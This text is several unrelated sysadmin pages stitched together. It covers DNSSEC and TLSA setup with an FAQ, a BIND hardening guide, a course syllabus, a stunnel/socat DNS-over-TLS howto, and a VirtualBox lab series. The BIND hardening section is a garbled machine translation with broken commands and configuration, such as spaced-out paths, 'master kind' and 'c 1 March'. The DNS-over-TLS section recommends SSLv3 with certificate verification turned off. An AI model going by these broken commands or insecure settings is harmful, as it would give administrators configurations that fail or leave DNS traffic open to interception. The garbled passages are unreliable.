    Revert to Unsigned Step #4

To be on the safe side, you should wait a while before actually deleting all signed data from your zone, just in case some validating resolvers out there have cached information. After you are certain that all cached information have expired (usually this means TTL has passed), you may reconfigure your zone. This is the named.conf when it is signed, with DNSSEC-related configurations in bold:

zone "example.com" IN {
    type master;
    file "db/example.com.db";
    key-directory "keys/example.com";
    inline-signing yes;
    auto-dnssec maintain;
    allow-transfer { any; };
};

Remove the 3 lines so your named.conf looks like this, then use rndc reload to reload the zone:

zone "example.com" IN {
    type master;
    file "db/example.com.db";
    allow-transfer { any; };
};

Your zone is now reverted back to the traditional, insecure DNS format.

7.5. Self-signed Certificate Recipe

This recipe describes how to configure DNS(SEC) to include a TLSA record that acts as a different channel to provide verification for a self-signed x509 (SSL) certificate.

Note

TLSA is still in its infancy. One of the road blocks that exists as of late 2014 is the lack of application support in web browsers and mail applications. As these applications add support for TLSA, steps described in this recipe will become more relevant and practical. Today (as of late 2014), unfortunately, most applications lack native support and will likely result in some kind of error message or warning even if you have deployed TLSA correctly.

Popular applications or servers that provide TLSA support include: Postfix.

For this recipe, we are assuming that you already have a working web server configured with a self-signed x509 certificate. Although the steps described below works for self-signed certificates, it can also be used for “real” certificates that were signed by a Certificate Authority (usually a service you pay for). This is one of several possible uses of DNS-Based Authentication of Named Entities, or DANE (we briefly talked about DANE inSection 6.5.5, “Introduction to DANE”).

First, let’s take a look at the certificate used by you web server:

# cat server.crt
-----BEGIN CERTIFICATE-----
MIICVTCCAb4CCQChk/gPoAqkWjANBgkqhkiG9w0BAQsFADBvMQswCQYDVQQGEwJV
UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEYMBYGA1UEAwwPd3d3LmV4YW1wbGUu
Y29tMB4XDTE0MTIwODA2MDMxNFoXDTI0MTIwNTA2MDMxNFowbzELMAkGA1UEBhMC
VVMxCzAJBgNVBAgMAkNBMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMSEwHwYDVQQK
DBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxGDAWBgNVBAMMD3d3dy5leGFtcGxl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzovVMAexPZHg8MaL2xfE
IfwPKxCdcCzF2eEvl3euIk2esQ0r3GE+xEVqf/lggCC0OH0q6TXs+6XFYvc4+O/m
LEh6DFnfn8Kz3T0d6mG2l8YuhhkLLrwugvvaAcHqMoVeZRPqFLhlfaUsoGxb+CPs
3B8xYFisUqNJp6Tr26MhSVECAwEAATANBgkqhkiG9w0BAQsFAAOBgQC7lQbdSkaM
x8B6RIs+PMOZ14RlA1UcPNUPPAK0vK23/ie1SfxSHIw6PlOba+ZQZusrDRYooR3B
viM+cUnhD5UvhU4bn3ZP0cp+WNsimycf/gdfkAe47Em1oVNZP6abUgqMPStongIB
7uonP6j74A/BTF5kdUsaDPoDfvGnCjZMsQ==
-----END CERTIFICATE-----

Next, use openssl to generate a SHA-256 fingerprint of this certificate, this is what you will list in DNS as a TLSA record. Also, you need to remove all the colons, hence the added sed at the end to filter out all “:” characters:

# openssl x509 -noout -fingerprint -sha256 < server.crt | tr -d :
SHA256 Fingerprint=294874DA378148CDD1B9C57D2E891E8C294D2958F0BCA7400A0D6D6F50C4A3BB

Now you can insert the TLSA record by editing the zone file the old fashioned way, or if your DNS server is allowing dynamic updates, you could use nsupdate like this to inject the TLSA record:

# nsupdate
> server localhost
> update add _443._tcp.www.example.com. 3600 IN TLSA 3 0 1 294874DA378148CDD1B9C57D2E891E8C294D2958F0BCA7400A0D6D6F50C4A3BB
> send
> quit

Let’s talks briefly about the record you just added. The name is a specifically formed “_443._tcp.www.example.com”, which specifies the usage of TCP port 443, for the name “www.example.com”. It is followed by three parameters, each representing usage, selector, and matching type. For this recipe, we will not dissect into all the possible combinations of these parameters. The examples listed here are 3, 0, and 1, which represent:

  • Usage: 3 = self-signed certificate
  • Selector 0 = full certificate is included
  • Matching Type 1 = SHA-256

If you are interested in learning (a lot) more about the TLSA record type, check out “A Step-by-Step guide for implementing DANE with a Proof of Concept” by Sandoche Balakrichenan, Stephane Bortzmeyer, and Mohsen Souissi (April 15, 2013)

Assuming you have successfully added the new TLSA record and generated the appropriate signature(s), now you can query for it:

$ dig _443._tcp.www.example.com. TLSA

...
;; ANSWER SECTION:
_443._tcp.www.example.com.  3600 IN TLSA    3 0 1 294874DA378148CDD1B9C57D2E891E8C294D2958F0BCA7400A0D6D6F 50C4A3BB
...

Great! But that’s still only half of the equation. We still need to make your web browser utilize this new information. For this recipe, we are showing you results of using Firefox with a plugin called DNSSEC TLSA Validator fromhttps://www.dnssec-validator.cz.

Once the plugin is installed, activated, and Firefox restarted, when you visit the URL https://www.example.com, your browser will prompt you for a warning, because this is a self-signed certificate:

Figure 7.16. Browser Certificate Warning

Browser Certificate Warning


Although the certificate is not trusted by the browser itself (if you want to you’ll have to install a custom CA root or make the browser trust the certificate individually), the plugin shows that it was able to verify the information it received via HTTPS (port 443), and that it matches the information it received via TLSA lookup over DNS (port 53).

Figure 7.17. DNSSEC TLSA Validator

DNSSEC TLSA Validator

Chapter 8. Commonly Asked Questions

No questions are too stupid to ask, below is a collection of such questions and answers.

Q: Do I need IPv6 to have DNSSEC?
Q: Does DNSSEC encrypt my DNS traffic, so others cannot eavesdrop on my DNS queries?
Q: Does DNSSEC protect the communication between my laptop and my name server?
Q: Does DNSSEC secure zone transfers?
Q: Is DNSSEC going to protect me from malicious web sites?
Q: If I enable DNSSEC validation, will it break DNS lookup for majority of the domain names, since most domains names don’t have DNSSEC yet?
Q: Do I need to have special client software to use DNSSEC?
Q: Since DNSSEC uses public key cryptography, do I need Public Key Infrastructure (PKI) in order to use DNSSEC?
Q: Do I need to purchase SSL certificates from a Certificate Authority (CA) to use DNSSEC?
Q: My parent zone does not support DNSSEC, can I still sign my zone?
Q: Is DNSSEC the same thing as TSIG that I have between my master and slave servers?
Q: How are keys copied from master to slave server(s)?
Q: Do I need IPv6 to have DNSSEC?
A: No. DNSSEC can be deployed independent of IPv6.
Q: Does DNSSEC encrypt my DNS traffic, so others cannot eavesdrop on my DNS queries?
A: No. Although cryptographic keys and digital signatures are used in DNSSEC, they only provide authenticity and integrity, not privacy. Someone who sniffs network traffic can still see all the DNS queries and answers in plain text, DNSSEC just makes it very difficult for the eavesdropper to alter or spoof the DNS responses.
Q: Does DNSSEC protect the communication between my laptop and my name server?
A: Unfortunately, currently, no. DNSSEC is designed to protect the communication between the end clients (laptop) and the name servers, however, there are few applications or stub resolver libraries as of late 2014 that take advantage of this capability. This communication between the recursive server to the clients are commonly called the “last mile”, while enabling DNSSEC today does little to enhance the security for the last mile, we hope that will change in the near future as more and more applications become DNSSEC-aware.
Q: Does DNSSEC secure zone transfers?
A: No. You should consider using TSIG to secure zone transfers among your name servers.
Q: Is DNSSEC going to protect me from malicious web sites?
A: The answer for now is, unfortunately for early stages of DNSSEC deployment, no. DNSSEC is designed so you can have confidence that when you received the DNS response for http://www.isc.org over port 53, you know it really came from the ISC name servers, and the answers are authentic. But that does not mean the web server you visit over port 80 or port 443 is necessarily safe. Further more, 99% of the domain names (as of this writing) have not signed their zones yet, so DNSSEC cannot even validate their answers.

The answer for sometime in the future is, as more and more zones are signed and more and more recursive servers are validating, DNSSEC will make it much more difficult for attackers to spoof DNS responses or perform cache poisoning. It still does not protect users from visiting a malicious web site that the attacker owns and operates, or prevent users from mis-typing a domain name, it just becomes unlikely that the attacker can hijack other domain names.

Q: If I enable DNSSEC validation, will it break DNS lookup for majority of the domain names, since most domains names don’t have DNSSEC yet?
A: No, DNSSEC is backwards compatible to “standard” DNS. As of this writing, although 99% of the .com domains have yet to be signed, a DNSSEC-enabled validating resolver can still lookup all of these domain names following the “old fashioned way”. There are four (4) categories of responses (RFC 4035 Sec 4.3):

  1. Secure: Domains that have DNSSEC deployed correctly
  2. Insecure: Domains that have yet to deploy DNSSEC
  3. Bogus: Domains that deployed DNSSEC but did it incorrectly
  4. Indeterminate: Unable to determine whether or not to use DNSSEC

A validating resolver will still resolve #1 and #2, only #3 and #4 will result in a SERVFAIL.You may already be using DNSSEC validation without realizing it, since some ISP’s have begun enabling DNSSEC validation on their recursive name servers. Google public DNS (8.8.8.8) also has enabled DNSSEC validation.

Q: Do I need to have special client software to use DNSSEC?
A: The short answer is no, DNSSEC only changes the communication behavior among DNS servers, not DNS server (validating resolver) and client (stub resolver). With DNSSEC validation enabled on your recursive server, if a domain name doesn’t pass the checks, an error message (typically SERVFAIL) is returned to the clients, and to most client software today, it looks as if the DNS query has failed, or the domain name does not exist.

The longer answer is although you don’t have to, you may want to. There are more and more client softwares that take advantage of the new DNSSEC features and give user better feedback about the domain name they are visiting. CZ.NIC Lab’s has created a plugin for several popular web browsers, and Mozilla has created a new web browser Bloodhound that performs DNSSEC validation.

As DNSSEC deployment becomes more common place, we are sure to see more and more software libraries and applications be updated to support its features.

Q: Since DNSSEC uses public key cryptography, do I need Public Key Infrastructure (PKI) in order to use DNSSEC?
A: No.
Q: Do I need to purchase SSL certificates from a Certificate Authority (CA) to use DNSSEC?
A: No. With DNSSEC, you generate and publish your own keys, and sign your own data as well. There is no need to pay someone else to do it for you.
Q: My parent zone does not support DNSSEC, can I still sign my zone?
A: Technically, yes, you can sign your zone, but you wouldn’t be getting the full benefit of DNSSEC, as other validating resolvers would not be able to validate your zone data. Without the DS record(s) in your parent zone, other validating resolvers will treat your zone as an insecure (traditional) zone, thus no actual verification is carried out. The end result is, to the rest of the world, your zone still appears to be insecure, and it will continue to be insecure until your parent zone can host DS record(s) for you, effectively telling the rest of the world that your zone is signed.

An interim solution is to take advantage of DLV (DNSSEC Look-aside Validation), by submitting your key to a DLV registry such as https://dlv.isc.org/, you can still get the benefits of DNSSEC even if your parent zone is not yet supporting it.

Q: Is DNSSEC the same thing as TSIG that I have between my master and slave servers?
A: No. TSIG is typically used between master and slave name servers to secure zone transfers, DNSSEC secures DNS lookup by validating answers. Even if you enabled DNSSEC, zone transfers are still not validated, and if you wish to secure the communication between your master and slave name servers, you should consider setting up TSIG or similar secure channels.
Q: How are keys copied from master to slave server(s)?
A: DNSSEC uses public cryptography, which results in two types of keys: public and private. The public keys are part of the zone data, stored as DNSKEY record types. Thus the public keys are synchronized from master to slave server(s) as part of the zone transfer. The private keys do not, and should not be stored anywhere else but the master server in a secured fashion. See Section 6.3, “Key Storage” for more information on key storage options and considerations.

Guide from: http://users.isc.org/~jreed/dnssec-guide/dnssec-guide.html

DNS Security – Securing A Name Server


Securing a name server

What version of BIND for your server?

Lately, a lot of implementation errors (tsig, infoleak …) were discovered in BIND. The details of these issues is available on https://kb.isc.org/article/AA-00959/0 . So right now, you need to install version 8.2.3 or version 9.1. BIND 9 implements DNSSEC signed zones and TSIG to sign DNS queries, it should resolve forward the various issues related to DNS spoofing. Another major new feature is the support for IPV6 and new protocols (IXFR, DDNS, Notify, EDNSO). The TSIG support is available from Bind 8.2.

If you are wondering if BIND is able to withstand heavy load, the F.root-servers.net server using bind 8.2.3 responds to over 272 million DNS queries per day.

Installation

You can either use pre-compiled packages that compile bind yourself from source. These are available on http://www.isc.org . If you use RedHat packages, you need to install bind, bind-utils and bind-devel if you program.

Configuration

The bind configuration file is usually /etc/named.conf. A few quick words on the configuration:

  • Comments are rated / * * / or // as in C or begin with a “;”
  • SOA Start Of Autority
  • NS: Name Server
  • MX: Mail eXchange
  • CNAME: alias name
  • Machine names must end with a period.

The file is divided into sections: options, logging and area. I will not dwell on the subject, I hope you know enough foundation needed to run Bind.

Paranoid default

Take the advantage of being paranoid, block everything by default.

 options {
   also-notify {none;  };
   allow-transfer {none;  };
   allow-query {none;  };
 };

also-notify should contain unofficial secondary DNS, it helps prevent immediately if an update of an area is performed. allow-transfer indicates which machines allowed to perform a zone transfer, ie to retrieve all the information from one area, the only secondary DNS should be allowed. allow-query indicates who can query the server for a given area.

ACLs (access control lists) are used to define sets of machines and / or networks. ACLs are four pre-defined: any, none, localhost and localnets. They correspond to everyone, person, only the server and all the networks defined by the IP addresses and netmasks of the machine.

An ACL is defined as follows:

 acl name {
   address_match_list
 };

For example, I can set the acl dns_sec_non_officiel with two IP addresses as follows:

 {acl dns_sec_non_officiel
   192.168.1.2;
   192.168.3.4;
 }

Definitions of areas and use of ACL

For a list of the primary DNS, simply run the command dig @ns.internic.net . ns > named.ca dig @ns.internic.net . ns > named.ca . They solve ip addresses / names for which the DNS server is neither primary nor secondary.

The area for default queries is the zone “.” defined below:

 zone "."  {
   Type hint;
   file "named.ca";
   allow-query {mon_parc_info;  };
 };

mon_parc_info is an acl containing IPs machines on my network.

In some cases of network architecture or for safety reasons, an internal DNS one may want to force the use of one specific DNS server to respond to DNS queries. In this case, we will define it this constraint the options:

 options {
         ....
     forward only;
     {mes_dns_en_sortie forwarders;  };
 };

Another note, if your machine uses the “dial on demand” or connection with the application (modem connection is activated if there is the Internet to requests), add the options dialup yes; to prevent your connection either start inadvertently.

A reverse lookup zone IP address to hostname to the loopback address is defined as

 "0.0.127.in-addr.arpa" {area
   master kind;
   allow-query {mon_parc_info;  };
   "named.local" file;
   };

A primary server must be interviewed by everyone but allow only secondary dns to perform zone transfers. Zone transfer is as its name suggests the means by which a DNS recovers all the parameters of an area.

 "domaine1.org" {area
   master kind;
   file "domain1 / domaine1.org";
   also_notify {dns_sec_non_officiel;  };
   allow-transfer {dns_sec_officiel;  dns_sec_non_officiel;  };
   allow-query {any;  };
 }

DNS indicated in the parameter Also_notify are notified whenever a change occurs in a zone. It is used specifically to warn unofficial secondary DNS, ie those that are not explicitly declared as NS in the file defining the area.

Some services offered by ISPs are only accessible by using their DNS. Thus, to access the news or read his email through webmail interface Wanadoo, use the specified DNS on the sheet showing the login / password or given by the DHCP server.

 zone "wanadoo.fr"
 {
   such forward;
   forwarders {193.252.19.3;  };
 };

Note: Wanadoo filter IP accessing DNS, web servers, … reserved for subscribers.

Hide the version number

The version number is easily obtained:

 $ Nslookup - 127.0.0.1
 Default Server: localhost
 Address: 127.0.0.1

 > Set class = chaos
 > Set q = txt
 > Version.bind
 Server: localhost
 Address: 127.0.0.1                                                             

 Version.bind text = "8.2.3-REL"

One possibility is to set the text to send. In the column options, just specify Version “my super text.” But it has the disadvantage of hide it to everybody. We can tweak it a bit more by redefining the zone ” chaos

 zone "bind" chaos {
   master kind;
   file "bind";
   allow-query {localhost;  };
 };

In the file bind , I define the class chaos .

 $ TTL 1D
 $ ORIGIN bind.
 @ 1D CHAOS SOA localhost.  root.localhost.  (
                                        1
                        3H
                        1H
                        1W
                        1D)
 CHAOS NS localhost. 

So when a small malignant seeking the version of bind, the attempt will be recorded:

 March 12 5:51:12 p.m. vectra named [17035]: unapproved query from [10.0.0.169] .4863 for "version.bind"

And we can continue to retrieve the version number locally unless we are even more paranoid and that it puts allow-query { none; }; allow-query { none; }; .

Security

Ports lower than 1024 are privileged ports, programs running that is to say that only as root can use them. The port dedicated to DNS servers is the TCP / UDP port 53 (domains).

A safety mechanism is incorporated in modern versions of bind that allow it once it is assigned the domains port to impersonate a user without power, usually named. Thus, in case of security vulnerability, the attacker takes the named identity, not root.

However, the hacker now has access to the machine, where it is able to exploit local faults. The idea is to confine him to a part of the tree, for example, the directory /var/chroot-named where you can find the necessary files to bind.

Creation of the prison

To create the prison, he must first be root.

   $ Mkdir / var / chroot-named
   $ Mkdir / var / chroot-named / dev
   $ Mkdir / var / chroot-named / etc
   $ Mkdir / var / chroot-named / var
   $ Mkdir / var / chroot-named / var / run
   $ Mkdir / var / chroot-named / usr
   $ Mkdir / var / chroot-named / usr / sbin
   $ Mknod / var / chroot-named / dev / null c 1 March
Account creation
   $ Adduser named -s / bin / false
   $ Egrep "(^ root: | ^ named :)" / etc / passwd> / var / chroot-named / etc / passwd
   $ Egrep "(^ root: | ^ named :)" / etc / group> / var / chroot-named / etc / group
Configuring the system log

If syslogd supports the “-a” option, it must be started with in /etc/rc.d/init.d/syslog :

 daemon syslogd -m 0 -a / var / chroot-named / dev / log

Otherwise, it is then necessary login directly:

   $ Mkdir / var / chroot-named / var / log
   $ Ln -s / var / chroot-named / var / log / var / log / dns

In named.conf :

 logging {
   channel replace_syslog {
     file "/ var / log / dns" versions 3 size 100k;
     severity info;
     print-category yes;
     print-severity yes;
     print-time yes;
   };
   category default {replace_syslog;  default_debug;  };
 };

Log files are owned by root.

Recovering the configuration
   /etc/named.conf $ Mv / var / chroot-named / etc
   $ Mv / var / named / var / chroot-named / var
   $ Ln -s /var/chroot-named/etc/named.conf /etc/named.conf
   $ Ln -s / var / chroot-named / var / named / var / named
   $ Chown -R named: named / var / chroot-named / var / named

By the way, do not forget that bind must write in the directories for slave zones, do not forget to create these directories and change the ownernamed . Otherwise, it will not recover the areas which it is secondary.

Installing binaries

Is compiling named and named-xfer statically or using existing binary and copy the necessary dynamic libraries:

   $ Cp / usr / sbin / named / var / chroot-named / usr / sbin
   $ Cp / usr / sbin / named-xfer / var / chroot-named / usr / sbin
   $ Mkdir / var / chroot-named / lib
   $ Mkdir / var / chroot-named / usr / lib
   $ Ldd / usr / sbin / named-xfer
           libc.so.6 => /lib/libc.so.6 (0x40022000)
           /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

The latter command shows all the libraries that bind needs to function: each one must also be present in the prison.

Use

In /etc/rc.d/init.d/named (here delete the daemon if you do not have a RedHat) notes the daemon in a prison:

 daemon named -u named -t / var / chroot-named

The “-u” refers to the user that bind and run the “-t” the directory in which it is running, his prison.

For choosy

The TSIG security reduces the impact of IP spoofing between the primary and secondary DNS. They share a secret key whose name is secret, grenier-supersecret in the example. The key is encoded in base 64 and is defined as in the configuration files of the affected servers:

 key-supersecret attic.  {
   algorithm hmac-md5;
   secret "mZiMNOUYQPMNwsDzrX2ENw ==";
 };

In the master DNS configuration is added:

 ip_dns_secondaire server {
   transfer-format many-answers;
   {keys attic-supersecret .;  };
 };

and secondary DNS, we put the same thing but with the IP address of the primary DNS server.

To function, the system clocks of the two servers must be synchronized. If necessary, you can synchronize them xntp. Confidentiality key is related to the security of the server more vulnerable.

Conclusion

With the addition of cryptography, DNS protocols are more reliable and system security mechanisms as chrooting are always there to counter the implementation issues =:-) (Bug TSIG).

CS 490S: Secure Network Programming


CS 490S: Secure Network Programming

Syllabus

Cr. 1 Corequisite: CS 422 (that means that students who have taken CS 422 in the past, or are taking CS 422, can take CS 490S now).
CS majors may use this course only as a free elective.

Instructor

Pascal Meunier, PTC E2-312

Class Homepage

An updated syllabus, class handouts, lecture notes, and other information can be found at:http://www.cs.purdue.edu/homes/cs490s

Schedule

Lecture: Thursdays 9:30-10:20, KNOY B035

References

Textbook:
None required. We will be using these slides, mostly those in class 3.
Can be useful but not required: Network Intrusion Detection, (3rd edition) Northcutt and Novak

Goal

After successfully completing this course:

  • You will understand the basics of programming secure network applications.
  • You will understand how networking protocols may be vulnerable to attacks, and how to defend against those attacks or mitigate the risks.
  • You will be familiar with the most frequent programming errors and negligences leading to vulnerabilities in networked applications and protocols.

Course Organization

The course consists of lecture sessions, two quizzes (exams) and three deliverables. The deliverables consist of choosing a lab assignment from CS 422 (approval by email required to make sure the assignment is appropriate), and providing: a) a 1-2 page long threat assessment; b) a list of security functional requirements to be implemented in order to mitigate the threats in a); and c) the improved lab with some implemented security functionality. The fact that this class is a one-credit class limits the effort to be spent on this implementation to one security feature (or two easy ones). The improved lab will not be evaluated on the original CS 422 functionality except that which is required to demonstrate the security feature.


Lecture Notes & References

August 25 lecture on trust, as the foundation of secure networked applications and remote interactions (roughly half of these slides, to be continued next week)

Resources

How to write secure code
CVE
ICAT
Cassandra


Labs

Choose a lab assignment from CS 422 (approval by email required to make sure the assignment is appropriate), and provide: a) a 1-2 page long threat assessment; b) a list of security functional requirements to be implemented in order to mitigate the threats in a); and c) the improved lab with some implemented security functionality. The fact that this class is a one-credit class limits the effort to be spent on this implementation to one security feature (or two easy ones). The improved lab will not be evaluated on the original CS 422 functionality except that which is required to demonstrate the security feature.

SSL-DNS


Intro

Inspired by the HTTPS-DNS project I started to look for another approach for doing encrypted dns-requests. The following solution should work with nearly all unixoid operatingsystems ( for Microsoft Windows see below ) and can easily be applied. It works absolutly transparently for the clients and servers.

Encrypting DNS-requests is usefull, because it

  • prevents manipulation of dns-requests
  • prevents recognizing of dns-requests
  • prevents logging of dns-requests

Implementation

The whole concept is based on socat for udp <-> tcp and stunnel for TLS-encryption between the clients and the dns-server.

On the serverside we have a normal dns-server running like bind, which is reachable on port 53. Now we use stunnel to create a new TLS-server on port 5667. stunnel forwards the packets on the localhost to socat, which forwards them to bind. You have to use socat because dns requests use udp but stunnel just supports tcp. But with socat we can forward udp to tcp, back and forth again.

On the clientside we configure socat to forward udp packets from port 53 to stunnel as tcp and stunnel to forward them to the server on port 5667. We then configure ure client to use the localhost as dns server.

Client

If you want your client machine to make dns-requests over SSL you have to install socat and stunnel .

Modify your /etc/stunnel/stunnel.conf to this:

sslVersion = SSLv3

chroot = /var/run/stunnel
setuid = stunnel
setgid = stunnel
pid = /stunnel.pid

socket = l:TCP_NODELAY=1
socket = r:TCP_NODELAY=1
socket = l:SO_LINGER=1:1
socket = r:SO_LINGER=1:1

client = yes
verify=0

[dns]
accept  = 5666
connect = IPOFDNSSERVER:TLS-DNS-PORT #          !!!!!!!!!!!!!!!!modify this!!!!!!!!!!!!!!
TIMEOUTidle = 1
TIMEOUTclose = 1
TIMEOUTbusy = 1

and start the stunnel-daemon. Now start socat:

 $socat udp4-listen:53,reuseaddr,fork tcp:localhost:5666

That’s it! Test it with:

 dig @localhost www.google.de

Now all you have to do is make your system use the localhost as dns server. This is very distributionspecific, so look at the doc of your distro. To permanently use TLS-DNS, make stunnel and socat start at boot.

Running Servers

The following servers offers SSL-DNS:

  1. 62.141.58.13 Port: 5353
  2. 88.84.155.209 Port: 5667

Setup a Server

If you are running a dns server and want to extend it to support SSL-DNS you can do this pretty easy. This won’t conflict with your existing dns-server in any way. It has been tested on debian lenny with bind9. I expect in the following that you correctly installed your dns server and it is reachable by port 53.

For the stunnel-server you have to create a key:

  •  $openssl req -new -x509 -days 3650 -nodes -out dns.pem -keyout dns.pem

, move it to /etc/stunnel/ and change its permissions to 600. Now configure your stunnel.conf like this:

cert = /etc/stunnel/dns.pem

sslVersion = SSLv3

chroot = /var/lib/stunnel4/
setuid = stunnel4
setgid = stunnel4
pid = /stunnel4.pid

socket = l:TCP_NODELAY=1
socket = r:TCP_NODELAY=1
socket = l:SO_LINGER=1:1
socket = r:SO_LINGER=1:1

[dns]
accept  = 5667
connect = localhost:53

Start stunnel and your SSL-DNS server is up and running. You do not need socat at the server, because bind9 is able to handle TCP requests.

Your server offers now:

DNS - port 53
TLS-DNS - port 5667

Windows

You need to use socat windows-port and stunnel for Windows.

Modify your stunnel.conf (Start -> Programs -> stunnel -> Edit Stunnel.conf) to this:

sslVersion = SSLv3

socket = l:TCP_NODELAY=1
socket = r:TCP_NODELAY=1
socket = l:SO_LINGER=1:1
socket = r:SO_LINGER=1:1

client = yes
verify=0

[dns]
accept  = 5666
connect = IPOFDNSSERVER:TLS-DNS-PORT #       For example 88.84.155.209:5667
TIMEOUTidle = 1
TIMEOUTclose = 1
TIMEOUTbusy = 1

and start the stunnel-daemon (run stunnel). Now start socat:

 $socat udp4-listen:53,reuseaddr,fork tcp:localhost:5666

Now you need to go to your control panel and edit the network configuration. Put 127.0.0.1 as your favourite DNS server. Make sure its working, check it by opening some websites and then closing stunnel. With stunnel closed you shouldn’t be able to continue browsing.

Building the Ultimate VirtualBox Lab


Building the Ultimate VirtualBox Lab – Introduction

In my never-ending quest to continue learning as much as I can in the IT industry, one thing has always caused me some headaches until now. Setting up the proper foundation for my testing in the form of a virtual test lab where I can install multiple servers and clients easily without having to worry about taking up 40GB+ for each virtual machine.

I have received a lot of comments, private messages, and emails from the community asking me what I suggest for them to do in order to learn System Administrator topics in order to help them in job interviews or to help them in their current job if they are already working in the field.

Introduction: Ultimate VBox Setup

One answer always comes to mind with these types of questions; Virtualization. Setup a virtual test lab by configuring a virtual server (virtual pc), download the trial versions of Microsoft’s operating systems, install them and practice practice practice. Setup a domain controller or two. Take one offline and practice bringing another one online to simulate a down domain controller, Setup SQL server, WSUS, and so on.

This article is part 1 of 6 in the series:

  • Part 1: Building the Ultimate VirtualBox Lab – Intro
  • Part 2: Building the Ultimate VirtualBox Lab – Configure Vbox
  • Part 3: Building the Ultimate VirtualBox Lab – Install pfSense
  • Part 4: Building the Ultimate VirtualBox Lab – Install Windows 2012 Base
  • Part 5: Building the Ultimate VirtualBox Lab – Prep for .vdi Compacting
  • Part 6: Building the Ultimate VirtualBox Lab – Linked Clones
  • Bonus: Building the Ultimate VirtualBox Lab – RDP to Virtual Machines

citrix-logo  hyper-v-logo Virtualbox_logo vmware-logo

In the past, I have setup many different virtual lab environments including:

For this article, I chose to go with Oracle VirtualBox. If money wasn’t an issue, I would probably choose VMWare Workstation. Actually, if money really wasn’t an issue, I would buy a nice server with a SAN and setup VMWare ESXi. Ok, enough dreaming.

One of the issues I faced was having enough resources on the host’s computer where I can run 3 or 4 servers along with a couple of client computers at the same time while not worrying about CPU, RAM, and hard drive space.

Since I recently built a new computer as my main box to handle video editing (and anything else I want to throw at it), I finally decided to search out the best methods for hosting all of my virtual machines on this box. These days, I use my laptop about 95% of the time and only touch my big desktop for video editing. Why not put this computer’s horsepower to use since I’m hardly using it as is.

The specs of this machine are as follows:

At this point what I want to do is give you a visual of what I have in mind. I am not an artist by any means so hopefully you can understand what I’m illustrating here. This is just a basic idea of the SSD/HDD configuration:

Click to enlarge
Drawing of Ultimate VirtualBox Setup

To help better explain the drawing, here is what is going on. We are going to be usingLinked Clones to setup many virtual machines. The main reason I am using Linked Clonesis to save on hard drive space.

A brief description of Linked Clones: Setup a “base” virtual machine, install all patches/updates, sysprep and shutdown the machine (You will not turn this machine back on). This will be the base image that all future machines (same OS) will use when setting them up. Any changes made to the Linked Clones will be saved in their own .vdi in their own folder.

This is a HUGE plus for me since my SSDs are not very large. Also, using SSDs for this task is a huge advantage. Since I will be having multiple virtual machines running at the same time, they will all be using the base image so having the fast read/write speed will help with performance. I have not tried it using non SSDs but am curious how well it works.

As a side note: You can still have a standard HDD for things like SQL Databases, WSUS updates storage, network share storage, and more where speed is not as crucial.

Download the software and ISO images to prepare for the setup:

This article was only the beginning, introducing you to building the ultimate VirtualBox test lab.

In the next article (coming soon), we will be setting up the environment. I will walk you step-by-step in the entire process and by the end of the series, you should have a well-rounded and stable virtual test lab. From there on, you can go wild with setting up different servers, clients, testing group policies, pushing out software, breaking servers and learning how to handle disaster recovery and so on.

Building the Ultimate VirtualBox Lab – Configure VBox

Begin to learn how to become a System Administrator on your own by building the ultimate VirtualBox test-lab.

We briefly discussed what to expect with this video series and the overall configuration with hardware as well as linked clones.

Virtualization is key when wanting to setup a virtual machine test-lab. This tutorial is going to be considered video number 1 in the Building the Ultimate VirtualBox Lab series and will show you how to setup your virtual server environment. The tips shown here will help with setting up the foundation before we begin setting up our virtual machines and linked clones.

Configure VBox

Let’s begin

  • Open Oracle VM VirtualBox Manager
  • File -> Preferences -> General
  • Default Machine Folder: Navigate to the folder you want to store all your VMs in
    Virtualbox Default Machine Folder
  • Select Network in the left column
  • Highlight the adapter and click the edit button
    VirtualBox Edit Network
  • Select the DHCP Server tab
  • Remove the check from Enable Server
    VirttualBox Disable DHCP Server

That’s it for configuring Virtualbox for our Ultimate VirtualBox lab.

The next tutorial will begin by setting up pfSense to act as our lab’s router out to the internet.

Building the Ultimate VirtualBox Lab – Install pfSense

Continuing on with our self-learning to become a System Administrator, this article of Building the Ultimate VirtualBox Lab series we are focusing on how to install pfSense in VirtualBox.

I suggest you check it out since it has a couple key configuration changes in VBox that will save you some headaches later.

Install pfSense in VirtualBox

Before we get started I would like to explain the reason I have decided to use pfSense within our virtual lab for learning. When setting up a virtual server test lab, I like to try and mimmic an actual business environment as closely as possible. Because we want to use virtualization for this task, what pfSense will do is act as our virtual test lab’s router (to allow the virtual machines access to the internet). This will keep my host’s machine safe as well as any computers/devices on my host’s network. I guess you can look at it as my host’s network is acting as an ISP for my virtual environment.

Another reason why I wanted to use pfSense is so I can produce some tutorials on some key features of pfSense in the future when things settle down here at the house (remodeling/selling/buying another new house, etc.)

Let’s Get Started

We need to setup pfSense first so that during the other VM setups we can get out to the internet to install updates.

You can find the download links on this page.

Normally I like to include a lot of screenshots within these tutorials, but I think since the below instructions are pretty straight forward (and there is an associated video), I think I will hold off on the screenshots. If you feel they would help with this tutorial, please let me know in the comments section below and I will happily add them.

Create a new VM with minimum specs (pfSense doesn’t need to be run on a powerful machine).

  • Name: pfSense
  • Type: Linux
  • Version: Other Linux
  • 256MB of RAM
  • 8GB for the Dynamically allocated vdi (hard drive) should work out fine. You don’t need this one to be stored on an SSD but if you have the space, go for it.
  • 1 CPU
  • 2 NICs
    • Adapter 1: Enable Network Adapter
      • Attached to: Bridged (This will be our WAN port in pfSense)
    • Adapter 2: Enable Network Adapter
      • Attached to: Internal (This will be our LAN port in pfSense)
  • Attach the pfSense ISO to the CDRom drive so we can boot off of the CD
  • Disable:
    • Floppy drive
    • Enable absolute pointing device
    • USB Controller
    • Audio
  • If using an SSD, tell VBox that the VM is stored on an SSD
    • Select the vdi under the SATA Controller
    • Put a check in the Solid-state drive option under Attributes (This tells the guest OS that it’s drive is an SSD so it can take appropriate actions to deal with an SSD such as Windows disabling defrag, etc..)

Power on the VM and begin the setup

  • Select option 1 to boot pfSense
  • Pay attention during the install, you will see an option to select “I” to install, otherwise it will auto continue with running the live CD. Select “I”
